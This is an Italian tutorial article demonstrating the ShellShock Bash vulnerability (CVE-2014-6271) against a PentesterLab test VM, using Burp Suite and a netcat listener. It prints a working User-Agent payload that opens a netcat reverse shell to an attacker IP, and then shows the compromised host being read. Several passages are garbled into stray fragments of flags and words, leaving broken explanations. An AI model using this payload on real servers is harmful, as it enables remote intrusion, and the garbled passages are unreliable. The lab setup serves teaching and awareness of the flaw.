Sta facendo grande rumore la scoperta di una gravissima vulnerabilità nella shell più utilizzata sui sistemi
sistemi GNU (Bash, Bourne Again Shell), che affligge tutti i sistemi operativi Unix-like, come GNU/Linux, ma anche Mac OS X, che ne è un derivato.
La vulnerabilità, ribattezzata ShellShock e classificata con il codice CVE-2014-6271, ha ottenuto 10 punti su 10 (massimo impatto) dal NIST, il che fa ben comprendere il livello di attenzione che c'è intorno a questa falla, ritenuta anche più grave di Heartbleed.
Le versioni di bash vulnerabili partono dalla 1.14 (rilasciata addirittura nel 1994!) fino alla più recente, la 4.3. In sostanza, il bug consiste nella non corretta gestione da parte della shell di una variabile d'ambiente nella quale si può iniettare codice malevolo, che verrà eseguito immediatamente e senza alcun controllo. A complicare ulteriormente la faccenda, vi è il fatto che la vulnerabilità consente l'esecuzione remota di comandi su tutti i sistemi su cui è installata la shell Bash: in pratica tutti, tranne la maggior parte dei sistemi Windows.
Lo scopo di questo articolo è dimostrare che, se è possibile iniettare praticamente qualsiasi comando interpretabile da Bash in un server vulnerabile, allora è possibile ottenere una reverse shell a completa disposizione dell'attaccante.
Preparazione dell'ambiente di test
Per simulare questo micidiale attacco, abbiamo bisogno innanzitutto di un server vulnerabile: a tale scopo possiamo scaricare una macchina virtuale appositamente configurata dal sito di PentesterLab e mandarla in esecuzione, come mostrato nella figura seguente.
Per intercettare e manipolare tutto il traffico HTTP, invece, ci serviremo della nota suite Burp Portswigger Kali Linux
Simulazione dell'attacco
Una volta predisposto l'ambiente di test, possiamo finalmente lanciare l'attacco vero e proprio, ovviamente in ambiente controllato. Come prima cosa, apriamo una finestra del browser (nel nostro caso Mozilla Firefox) e configuriamolo per far transitare tutto il traffico attraverso il nostro proxy Burp. Per fare ciò basta accedere al menu Strumenti -> Opzioni -> Rete -> Impostazioni e selezionare il radio button Configurazione manuale dei proxy, impostando l'indirizzo IP 127.0.0.1 (localhost) e la porta 8080.
Per sicurezza, andiamo a verificare che su Burp giri effettivamente il proxy, per cui clicchiamo sulla tab Proxy Options Running
A questo punto, apriamo il browser e puntiamolo all'indirizzo IP della macchina virtuale vulnerabile che, nel nostro caso è la 10.100.255.78
Passiamo ora a dare un'occhiata a Burp Suite per vedere se ha intercettato la nostra http-request Proxy HTTP History GET http://10.100.255.78 Send to Repeater
In questo modo, stiamo inviando al modulo Repeater http-request Host, User-Agent Referer parametro User-Agent, nel quale andremo ad iniettare il codice "malevolo"
Prima di continuare con l'attacco, però, dobbiamo lanciare un listener sulla nostra macchina attaccante (Kali Linux) per poter ricevere il traffico di ritorno generato dalla nuova richiesta HTTP "malevola" che stiamo costruendo tramite Burp. Per fare ciò, utilizzeremo Netcat
[code]root@kali:~# nc -lp 4444 -vvv[/code]
L'opzione -lp
-l
p
4444
-vvv
V
V
V
4444
Adesso andiamo a sferrare l'attacco vero e proprio, modificando la stringa relativa allo User-Agent Repeater Raw User-Agent:
[code]User-Agent: () { :; }; /bin/bash -c "nc 10.100.244.81 4444 -e /bin/bash -i"[/code]
Cerchiamo di analizzare questa stringa. Come abbiamo accennato in precedenza, la vulnerabilità si basa sul fatto che possiamo far eseguire qualsiasi comando (o catena di comandi) interpretabile dalla shell, "semplicemente" inserendolo in una variabile di ambiente. Questo perchè Bash non interpreta semplicemente comandi, ma anche un intero linguaggio di scripting definire funzioni
Definire una funzione nel linguaggio di shell interpretato da Bash è molto semplice. Per capirlo con un esempio, creiamone una che chiameremo Ciao
[code]Ciao() { echo "Ciao"; }[/code]
Noi, però, non abbiamo avuto bisogno di questo tipo di funzione per effettuare l'attacco. E' stato, infatti, sufficiente creare una funzione vuota la cui sintassi è:
[code]() { :; };[/code]
Dopo il punto e virgola, che indica la fine della definizione della funzione, parte un altro comando con cui viene invocata una shell (/bin/bash -c
netcat
-e
-i
reverse shell
User-Agent
Go
Torniamo ora nella nostra macchina Kali e, dopo qualche istante, vedremo apparire il messaggio di avvenuta connessione tra l'host avente indirizzo 10.100.255.78 (l'host vulnerabile) e la nostra macchina attacker (10.100.244.81). Il risultato è visibile nella figura seguente.
A questo punto abbiamo ottenuto la nostra reverse shell e possiamo fare qualsiasi cosa sulla macchina "posseduta" Linux version 3.14.1-pentesterlab... /etc/passwd
Conclusioni
La conclusione è ovvia quanto significativa. Quella descritta è una vulnerabilità estremamente grave, ma è anche vero che i servizi, per essere attaccati, devono essere esposti dal server. Ad esempio, nel nostro caso abbiamo attaccato gli script CGI perchè erano esposti. In un articolo di RedHat è elencata una lista (non esaustiva) di servizi attaccabili. In ogni caso, mai come in questo caso è fondamentale effettuare l'upgrade ad una versione di Bash non vulnerabile.
